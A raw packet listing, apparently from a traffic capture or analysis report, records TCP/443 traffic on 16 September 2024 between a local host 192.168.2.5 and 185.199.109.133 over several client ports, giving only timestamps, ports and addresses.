Sep 16, 2024 19:24:31.005362988 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.005378008 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.007911921 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.008550882 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.012979031 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.012994051 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.013062000 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.013072968 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.013098955 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.013201952 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.013248920 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.013297081 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.013329983 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.013339043 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.013362885 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.013484955 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.018687963 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.018830061 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.018845081 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.028681040 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.028754950 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.028786898 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.028832912 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.028882027 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.028892994 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.028973103 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.029014111 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.029081106 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.031959057 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.032068014 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.032087088 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.032368898 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.032412052 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.032424927 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.032810926 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.032819986 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.033006907 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.037575006 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.037761927 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.037798882 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.037837982 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.037875891 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.037894964 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.038233995 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.038274050 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.039083958 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.040083885 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.040188074 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.040215969 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.040247917 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.040260077 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.040308952 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.040450096 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.040457964 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.040566921 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.046736002 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.048120022 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.069374084 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.069538116 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.069561958 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.077325106 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.077512980 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.077596903 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.077641964 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.077671051 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.077971935 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.077990055 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.078222036 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.078306913 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.078389883 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.078418016 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.078434944 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.078466892 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.078572989 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.078697920 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.078711987 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.079272032 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.079351902 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.079420090 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.079435110 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.079528093 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.079598904 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.079613924 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.079977036 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.079992056 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.080054998 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.080063105 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.080070019 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.080069065 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.080116987 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.080121994 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.080195904 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.080245972 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.080344915 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.080395937 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.080468893 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.081201077 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.081217051 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.081393003 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.081634998 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.081654072 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.081691980 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.081778049 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.081779003 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.081803083 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.081824064 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.082078934 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.105366945 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.105396032 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.105462074 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.105483055 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.105513096 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.107500076 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.107573032 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.107595921 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.107908964 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.107985973 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.108037949 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.108069897 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.108089924 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.108536005 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.108566046 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.108584881 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.108735085 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.108757973 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.108767986 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.108783007 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.108817101 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.109298944 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.109321117 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.109364033 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.109364986 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.109390974 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.109424114 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.109476089 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.109497070 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.109513044 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.110153913 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.110177040 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.110217094 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.110337019 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.110378981 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.110408068 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.110413074 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.110429049 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.110469103 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.110682011 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.111058950 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.111560106 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.111586094 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.111633062 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.111649036 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.111700058 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.118190050 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.118211031 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.118381023 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.118390083 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.119400024 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.119441986 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.119447947 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.119484901 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.119493008 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.119520903 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.119832039 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.119847059 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.119920015 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.119920015 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.119929075 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.120065928 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.121048927 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.121115923 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.121143103 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.121150970 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.121222019 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.121325970 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.140434980 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.140558958 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.140587091 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.140628099 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.140753984 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.140835047 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.141277075 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.141318083 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.141361952 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.141382933 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.141437054 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.141443014 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.141458035 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.142323017 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.142560005 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.142575979 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.142695904 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.145037889 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.147514105 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.147557020 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.148032904 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.148056984 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.148107052 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.148113966 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.148113966 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.148123026 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.148439884 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.148469925 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.148967028 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.148988008 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.148989916 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.149008036 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.149029016 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.149182081 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.149188042 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.151001930 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.151015043 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.151036978 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.151134014 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.151134014 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.151154995 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.151349068 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.155461073 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.155484915 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.155524969 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.155538082 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.155554056 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.155591011 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.156351089 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.156368971 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.156557083 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.156564951 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.156696081 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.156704903 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.174861908 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.174935102 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.174956083 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.176631927 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.176652908 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.176691055 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.176717997 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.176740885 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.176759958 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.176759958 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.176760912 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.176784039 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.176832914 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.176832914 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.176853895 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.177175045 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.177227020 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.177310944 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.177321911 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.177417994 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.177462101 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.177722931 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.177768946 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.177812099 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.177828074 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.177879095 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.178066969 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.178234100 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.178276062 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.178392887 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.178402901 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.178456068 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.178488970 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.179070950 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.179441929 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.179487944 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.179533958 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.179548979 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.179574966 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.179670095 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.179851055 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.179907084 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.179928064 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.179935932 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.180027962 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.180027962 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.211779118 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.211802959 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.211936951 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.211936951 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.211977005 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213135958 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213148117 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213176012 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213186026 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213201046 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213236094 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.213315010 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213352919 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.213505983 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.213561058 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213602066 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213618994 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213640928 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213644981 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.213665009 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.213704109 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.213704109 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.214361906 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.214378119 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.215073109 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.215091944 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.215528965 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.215553999 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.215600014 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.215615988 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.215656996 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.219075918 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.226340055 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.226361036 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.334971905 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.334974051 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.367077112 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.379343033 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.381082058 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.459484100 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.459501028 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.459521055 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.459531069 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.459559917 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.459574938 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.459577084 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.459629059 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.460164070 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.460252047 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.460261106 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.460278988 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.460288048 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.460313082 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.460400105 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.460421085 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.460819006 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.461229086 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.461240053 CEST	443	51653	185.199.109.133	192.168.2.5
